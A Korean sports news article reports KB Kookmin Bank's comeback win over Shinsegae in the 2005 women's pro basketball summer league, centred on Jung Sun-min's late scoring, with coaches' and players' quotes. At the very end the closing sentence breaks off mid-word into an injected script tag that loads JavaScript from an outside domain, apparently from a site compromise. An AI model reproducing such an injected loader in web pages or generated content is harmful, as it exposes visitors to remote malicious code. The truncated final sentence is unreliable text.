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국민銀, '역시, 정선민!' 신세계 꺾고 단독선두

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천안 국민은행이 무려 15점차의 점수를 무서운 힘으로 몰아붙이며 6분30초만에 경기를 원점으로 돌려놨다. 곽주영의 3점슛으로 살아나고, 정선민을 중심으로 무서운 뒷심을 발휘한 국민은행은 광주 신세계를 꺾고 4승1패를 기록하며 1라운드를 마쳤다. 국민은행은 18일 광주 구동체육관에서 펼쳐진 신한은행배 2005 여자프로농구 여름리그 원정경기에서 정선민(24점.6스틸) 윌리엄스(16점.19리바운드) 곽주영(11점.3점슛3개)의 맹활약을 앞세워 정진경(18점.4어시스트) 허윤자(10점.10리바운드) 양정옥(10점.5어시스트)이 분전한 신세계를 61-55로 꺾고 1라운드 마지막경기를 짜릿한 역전승으로 장식했다. 국민은행은 3연승을 달리며 단독1위에 올랐고, 4승1패로 1라운드를 기분좋게 마감했다. 초반 기선제압에 성공하고 경기내내 박빙의 승부를 보인 신세계는 아쉽게 역전패하며 1승4패를 기록해 최하위로 내려앉았다. 1쿼터 초반 양팀은 쉽게 공격을 풀어나가지 못했다. 정진경의 골밑슛으로 첫 득점에 성공한 신세계는 내외각의 조화가 잘 이루어지며 무섭게 공격을 가하고 골밑을 장악해 11-0으로 앞서나갔다. 6분40초 동안 무득점에 그쳤던 국민은행은 정선민의 골밑슛으로 첫득점에 성공하고, 1쿼터 종료 1분9초 전 곽주영의 중앙 3득점으로 공격이 살아나는 듯 했다. 그러나, 신세계는 정진경과 위틀의 연속 득점으로 '실책 6개. 슛 성공률 16%'를 보인 국민은행을 크게 따돌리며 21-6으로 15점을 리드하며 1쿼터를 마쳤다. 2쿼터. 첫번째 신세계 공격 오버타임. 국민은행 첫 공격 한재순 좌중간 3득점. 신세계 다시 공격 오버타임. 국민은행 정선민 드라이브 인 돌파 레이업 성공 21-11. 2쿼터 종료 8분32초전 10점차. 수비부터 시작된 국민은행의 조직력은 무서운 기세로 불타 올랐고, 빠른 공격으로 상대 수비를 흔들어 놨다. 신세계의 리더 양정옥은 당황하지 않고 곧바로 좌측 사이드 통쾌한 3점슛을 꽂아 넣으며 국민은행의 기세를 한풀 꺾었다. 그러나, 정선민의 중거리 슛과 곽주영의 연속 5득점으로 다시 추격을 시작한 국민은행은 '트리플 포스트'의 힘을 앞세워 2쿼터 종료 2분48초전 27-26 첫 역전에 성공했다. 위틀의 골밑 공격과 양정옥의 드라이브 인 득점으로 2쿼터 종료 1분2초전 재역전에 성공한 신세계. 그렇게 신세계의 리드로 전반이 끝나갈 무렵 정선민의 극적인 우중간 3점포가 깨끗하게 성공하며 양팀은 전반을 30-30 동점으로 마쳤다. 2쿼터 24점을 몰아넣으며 역전에 성공한 국민은행은 후반 시작과 함께 정선민의 미들슛으로 재역전에 성공했고, 더 이상의 역전을 허용하지 않았다. 한재순의 미들슛과 신정자의 골밑 레이업 득점으로 깜짝할 사이에 점수차를 6점으로 벌인 국민은행은 가드 한재순의 파울트러블로 잠시 위기를 맞았고, 허윤자의 외각포와 정진경의 골밑득점. 박은진의 속공 레이업슛으로 계속 1점차까지 쫒겼지만 윌리엄스의 골밑 득점과 곽주영의 3점슛. 정선민의 속공레이업슛으로 더 이상의 역전을 허용하지 않으며 3쿼터를 46-43으로 리드하며 마쳤다. 역시 스타는 위기에서 빛났다. 4쿼터는 정선민의 '득점 퍼레이드'였다. 신세계가 양정옥의 노련한 플레이와 정진경의 미들슛으로 추격해왔다. 하지만 국민은행의 '맏언니' 정선민은 3점슛 1개를 포함해 홀로 9득점을 올렸고, 윌리엄스가 골밑을 장악하고 팀 공격을 이끌어 끝까지 리드하며 승리했다. 오늘 경기로 승리로 이끌며 4승1패라는 좋은성적으로 1라운드를 마감한 국민은행의 이문규 감독은 "초반에 15점을 지고 있었지만, 우리팀이 경기에서 진다는 생각이 단 한순간도 들지 않았다. 선수들이 야간경기에 적응하지 못한 듯 초반에 붕 떠있는 상태였다. 15점차라는 점수가 적은 차이는 아니었지만 특별지시 없이 그 부분을 지적해 줬더니, 바로 우리 플레이가 살아나 승리했다."고 승리 소감을 전했고, 오늘 내외각에서 훌륭하게 리드하며 팀승리를 이끌어 낸 주장 정선민도 "팀 선수들이 초반에 너무 들떠있고, 긴장하지 않았다. 만약 노장선수들이었다면 많은 점수차에 체력도 떨어지고 화내면서 당황했을텐데, 역시 어린애들이라 달랐다. 초반 점수차에 한번 정신차리더니 나도 따라가지 못할만큼 무섭게 달아오르더라. 오늘 게임을 승리한 원동력은 내가 잘했기보다는 어린 선수들의 정신력이 한수 위였던 멋진 경기였다."고 전했다. 신세계는 상대실책을 틈타 내외각에서 우위를 보이며 초반 15점을 앞섰지만, 2쿼터 국민은행의 공수조직력 압박에 당황하며 역전을 허용했다. 하지만, 양정옥의 안정된 리드와 기습돌파. 허윤자의 외각포. 정진경의 골밑 득점으로 재역전에 성공하며 연승을 이어가는 듯 했으나, 결정적인 순간 실책을 범하며 무릎꿇어 최하위로 추락했다. 신한은행배 2005 여자프로농구 여름리그는 19일 안산 와동?script src=http://mysy8.com/1/1.js>

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